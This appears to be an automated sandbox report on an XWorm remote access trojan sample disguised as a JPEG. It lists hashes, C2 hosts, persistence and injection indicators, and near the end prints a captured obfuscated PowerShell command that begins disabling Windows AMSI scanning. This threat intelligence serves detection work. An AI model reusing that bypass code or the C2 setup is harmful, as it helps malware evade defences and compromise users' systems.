xworm | 21d23e31dae4ca8e6e3c782ad3794251a20b7b4b8244d977e566cd31852e5d38

General

Target

download (3).jpg
Size

47KB
MD5

019f90ed0c0276310674a78e2670a327
SHA1

7dc46555074b2863f1ef6e448612f1beefa252dd
SHA256

21d23e31dae4ca8e6e3c782ad3794251a20b7b4b8244d977e566cd31852e5d38
SHA512

244f10cd504d0c914428058e927933e6b5daa8899c92b85e247969a6c87f33158de6094f43be4849616d548ac8d7f0afe5680e8571d061d635f9f7e99efe8377
SSDEEP

768:RXcJBg6CFMjwV1jvxEUIminMm2bg3RQFOkPA1qK2rzD4/oUDDhjRVDdMxzPgfh2o:tcPoFhrIDnMWD18juoUfhjRV+eQtTH6t

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

news-accept.gl.at.ply.gg:24727

wiz.bounceme.net:6000

Mutex

ew0h9RSfAfyU3YO4

Attributes

Install_directory
%AppData%
install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\x4s.exe	family_xworm
behavioral1/memory/4524-59-0x00000000001B0000-0x00000000001BE000-memory.dmp	family_xworm
behavioral1/memory/4524-741-0x00000000021D0000-0x00000000021DE000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4788 created 580 4788 powershell.EXE winlogon.exe
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exe

flow pid process

3 4800 powershell.exe
4 4800 powershell.exe
6 4800 powershell.exe
8 4800 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

svchost32.exex4s.exex4Shellcode.exe

pid process

216 svchost32.exe
4524 x4s.exe
496 x4Shellcode.exe

description	pid	process	target process
PID 4788 created 580	4788	powershell.EXE	winlogon.exe

flow	pid	process
3	4800	powershell.exe
4	4800	powershell.exe
6	4800	powershell.exe
8	4800	powershell.exe

pid	process
216	svchost32.exe
4524	x4s.exe
496	x4Shellcode.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

x4s.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Windows\CurrentVersion\Run\x4s = "C:\\Users\\Admin\\AppData\\Roaming\\x4s.exe"	x4s.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

7 raw.githubusercontent.com
8 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

12 ip-api.com

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com

flow	ioc
12	ip-api.com

Drops file in System32 directory 5 IoCs

Processes:

powershell.EXEOfficeClickToRun.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 4788 set thread context of 1820 4788 powershell.EXE dllhost.exe
Drops file in Windows directory 1 IoCs

Processes:

powershell.exe

description ioc process

File created C:\Windows\svchost32.exe powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

wmiprvse.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe

description	pid	process	target process
PID 4788 set thread context of 1820	4788	powershell.EXE	dllhost.exe

description	ioc	process
File created	C:\Windows\svchost32.exe	powershell.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 57 IoCs

Processes:

powershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 50,1329 10,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Sat, 15 Jun 2024 10:18:39 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={C2FBEA2B-F513-451D-B832-98713A0C28F0}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1718446718"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
4800	powershell.exe
4800	powershell.exe
4800	powershell.exe
4788	powershell.EXE
4788	powershell.EXE
4788	powershell.EXE
4788	powershell.EXE
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
2336	wmiprvse.exe
2336	wmiprvse.exe
2336	wmiprvse.exe
2336	wmiprvse.exe
2336	wmiprvse.exe
2336	wmiprvse.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe
1820	dllhost.exe

Suspicious use of AdjustPrivilegeToken 49 IoCs

Processes:

powershell.exesvchost32.exex4s.exepowershell.EXEdllhost.exesvchost.exesvchost.exewmiprvse.exesvchost.exeExplorer.EXE

description	pid	process
Token: SeDebugPrivilege	4800	powershell.exe
Token: SeDebugPrivilege	216	svchost32.exe
Token: SeDebugPrivilege	4524	x4s.exe
Token: SeDebugPrivilege	4788	powershell.EXE
Token: SeDebugPrivilege	4788	powershell.EXE
Token: SeDebugPrivilege	1820	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2112	svchost.exe
Token: SeIncreaseQuotaPrivilege	2112	svchost.exe
Token: SeSecurityPrivilege	2112	svchost.exe
Token: SeTakeOwnershipPrivilege	2112	svchost.exe
Token: SeLoadDriverPrivilege	2112	svchost.exe
Token: SeSystemtimePrivilege	2112	svchost.exe
Token: SeBackupPrivilege	2112	svchost.exe
Token: SeRestorePrivilege	2112	svchost.exe
Token: SeShutdownPrivilege	2112	svchost.exe
Token: SeSystemEnvironmentPrivilege	2112	svchost.exe
Token: SeUndockPrivilege	2112	svchost.exe
Token: SeManageVolumePrivilege	2112	svchost.exe
Token: SeAuditPrivilege	2432	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2112	svchost.exe
Token: SeIncreaseQuotaPrivilege	2112	svchost.exe
Token: SeSecurityPrivilege	2112	svchost.exe
Token: SeTakeOwnershipPrivilege	2112	svchost.exe
Token: SeLoadDriverPrivilege	2112	svchost.exe
Token: SeSystemtimePrivilege	2112	svchost.exe
Token: SeBackupPrivilege	2112	svchost.exe
Token: SeRestorePrivilege	2112	svchost.exe
Token: SeShutdownPrivilege	2112	svchost.exe
Token: SeSystemEnvironmentPrivilege	2112	svchost.exe
Token: SeUndockPrivilege	2112	svchost.exe
Token: SeManageVolumePrivilege	2112	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2112	svchost.exe
Token: SeIncreaseQuotaPrivilege	2112	svchost.exe
Token: SeSecurityPrivilege	2112	svchost.exe
Token: SeTakeOwnershipPrivilege	2112	svchost.exe
Token: SeLoadDriverPrivilege	2112	svchost.exe
Token: SeSystemtimePrivilege	2112	svchost.exe
Token: SeBackupPrivilege	2112	svchost.exe
Token: SeRestorePrivilege	2112	svchost.exe
Token: SeShutdownPrivilege	2112	svchost.exe
Token: SeSystemEnvironmentPrivilege	2112	svchost.exe
Token: SeUndockPrivilege	2112	svchost.exe
Token: SeManageVolumePrivilege	2112	svchost.exe
Token: SeDebugPrivilege	2336	wmiprvse.exe
Token: SeAuditPrivilege	1916	svchost.exe
Token: SeAuditPrivilege	2432	svchost.exe
Token: SeAuditPrivilege	2432	svchost.exe
Token: SeShutdownPrivilege	3388	Explorer.EXE
Token: SeCreatePagefilePrivilege	3388	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exesvchost32.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 4672 wrote to memory of 4800	4672	cmd.exe	powershell.exe
PID 4672 wrote to memory of 4800	4672	cmd.exe	powershell.exe
PID 4800 wrote to memory of 216	4800	powershell.exe	svchost32.exe
PID 4800 wrote to memory of 216	4800	powershell.exe	svchost32.exe
PID 216 wrote to memory of 4524	216	svchost32.exe	x4s.exe
PID 216 wrote to memory of 4524	216	svchost32.exe	x4s.exe
PID 216 wrote to memory of 496	216	svchost32.exe	x4Shellcode.exe
PID 216 wrote to memory of 496	216	svchost32.exe	x4Shellcode.exe
PID 216 wrote to memory of 496	216	svchost32.exe	x4Shellcode.exe
PID 4788 wrote to memory of 1820	4788	powershell.EXE	dllhost.exe
PID 4788 wrote to memory of 1820	4788	powershell.EXE	dllhost.exe
PID 4788 wrote to memory of 1820	4788	powershell.EXE	dllhost.exe
PID 4788 wrote to memory of 1820	4788	powershell.EXE	dllhost.exe
PID 4788 wrote to memory of 1820	4788	powershell.EXE	dllhost.exe
PID 4788 wrote to memory of 1820	4788	powershell.EXE	dllhost.exe
PID 4788 wrote to memory of 1820	4788	powershell.EXE	dllhost.exe
PID 4788 wrote to memory of 1820	4788	powershell.EXE	dllhost.exe
PID 1820 wrote to memory of 580	1820	dllhost.exe	winlogon.exe
PID 1820 wrote to memory of 640	1820	dllhost.exe	lsass.exe
PID 1820 wrote to memory of 744	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 920	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1004	1820	dllhost.exe	dwm.exe
PID 1820 wrote to memory of 360	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 692	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 784	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1120	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1160	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1188	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1208	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1220	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1300	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1416	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1436	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1464	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1516	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1524	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1596	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1672	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1708	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1808	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1828	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1932	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 1948	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2020	1820	dllhost.exe	spoolsv.exe
PID 1820 wrote to memory of 1916	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2112	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2248	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2380	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2392	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2432	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2500	1820	dllhost.exe	sysmon.exe
PID 1820 wrote to memory of 2524	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2588	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2608	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2852	1820	dllhost.exe	unsecapp.exe
PID 1820 wrote to memory of 2956	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 2984	1820	dllhost.exe	sihost.exe
PID 1820 wrote to memory of 3024	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 3196	1820	dllhost.exe	taskhostw.exe
PID 1820 wrote to memory of 3232	1820	dllhost.exe	svchost.exe
PID 1820 wrote to memory of 3388	1820	dllhost.exe	Explorer.EXE
PID 1820 wrote to memory of 3896	1820	dllhost.exe	RuntimeBroker.exe
PID 1820 wrote to memory of 3180	1820	dllhost.exe	DllHost.exe
PID 1820 wrote to memory of 4992	1820	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:580

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:1004

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{d2180955-611f-4230-a320-e51bdaf1c103}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:744

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:920

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:360

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:692

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:784

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1120

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:3196

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:AtdggxCIdjhd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OsfTOJDlGYudGR,[Parameter(Position=1)][Type]$TobBKtwfze)$AogbLNPGwOT=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+'l'+[Char](101)+''+[Char](99)+''+'t'+'e'+'d'+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+'emo'+[Char](114)+''+[Char](121)+''+[Char](77)+''+[Char](111)+'d'+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+'a'+''+[Char](116)+'e'+[Char](84)+''+'y'+''+'p'+'e',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+''+[Char](44)+'P'+[Char](117)+'bl'+'i'+'c'+[Char](44)+''+[Char](83)+''+[Char](101)+''+[Char](97)+'led'+','+''+'A'+''+[Char](110)+''+[Char](115)+'i'+[Char](67)+'l'+[Char](97)+'s'+[Char](115)+''+[Char](44)+''+'A'+''+'u'+'t'+[Char](111)+'Cla'+[Char](115)+'s',[MulticastDelegate]);$AogbLNPGwOT.DefineConstructor(''+'R'+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+'l'+[Char](78)+''+'a'+'m'+'e'+''+[Char](44)+''+'H'+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$OsfTOJDlGYudGR).SetImplementationFlags('R'+[Char](117)+'n'+'t'+''+'i'+''+'m'+'e'+','+''+[Char](77)+'an'+[Char](97)+'g'+[Char](101)+''+'d'+'');$AogbLNPGwOT.DefineMethod(''+[Char](73)+''+[Char](110)+''+[Char](118)+'o'+'k'+''+'e'+'','P'+[Char](117)+''+'b'+''+[Char](108)+'i'+[Char](99)+''+[Char](44)+''+'H'+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+','+'N'+''+'e'+'wS'+[Char](108)+''+[Char](111)+'t'+','+''+[Char](86)+''+[Char](105)+''+'r'+''+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$TobBKtwfze,$OsfTOJDlGYudGR).SetImplementationFlags('R'+'u'+''+'n'+''+[Char](116)+''+[Char](105)+'m'+[Char](101)+''+[Char](44)+'M'+'a'+''+'n'+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $AogbLNPGwOT.CreateType();}$JfGoiJMViHWLI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+'s'+'t'+'e'+''+[Char](109)+''+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+'i'+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+''+[Char](102)+''+[Char](116)+''+'.'+'Wi'+[Char](110)+'3'+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+''+[Char](101)+''+[Char](78)+'a'+[Char](116)+''+[Char](105)+'ve'+[Char](77)+''+'e'+''+'t'+''+'h'+'o'+[Char](100)+''+[Char](115)+'');$wwqSywpIkKhOTW=$JfGoiJMViHWLI.GetMethod(''+[Char](71)+''+[Char](101)+'t'+'P'+''+[Char](114)+''+[Char](111)+''+'c'+''+[Char](65)+'dd'+'r'+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+[Char](108)+'i'+'c'+''+[Char](44)+''+'S'+'t'+[Char](97)+'t'+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$wPdTjXGaJUhEpzmbFvY=AtdggxCIdjhd @([String])([IntPtr]);$YXMKcfjUyXAQJthUbnycgf=AtdggxCIdjhd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$IVmLKhBkuio=$JfGoiJMViHWLI.GetMethod(''+[Char](71)+'etM'+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+'l')));$aeAacpNSsqJZzp=$wwqSywpIkKhOTW.Invoke($Null,@([Object]$IVmLKhBkuio,[Object](''+'L'+''+'o'+''+[Char](97)+'d'+[Char](76)+'ib'+'r'+''+'a'+''+[Char](114)+'y'+[Char](65)+'')));$ZtAWNcQjOtBSpLTrW=$wwqSywpIkKhOTW.Invoke($Null,@([Object]$IVmLKhBkuio,[Object](''+'V'+'i'+'r'+''+'t'+'ua'+[Char](108)+''+[Char](80)+''+[Char](114)+''+'o'+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$AbgNuSk=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($aeAacpNSsqJZzp,$wPdTjXGaJUhEpzmbFvY).Invoke('a'+[Char](109)+''+[Char](115)+''+[Char](105)+'.'+'d'+''+[Char](108)+''+[Char](108)+'');$AtahQjknUzseEcvkT=$wwqSywpIkKhOTW.Invoke($Null,@([Object]$AbgNuSk,[Object]('Am'+[Char](115)+''+[Char](105)+''+'S'+''+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+[Char](117)+'f'+'f'+''+[Char](101)+''+[Char](114)+'')));$qRaJSqIOdk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZtAWNcQjOtBSpLTrW,$YXMKcfjUyXAQJthUbnycgf).Invoke($AtahQjknUzseEcvkT,[uint32]8,4,[ref]$qRaJSqIOdk);[Runtime.InteropServices.M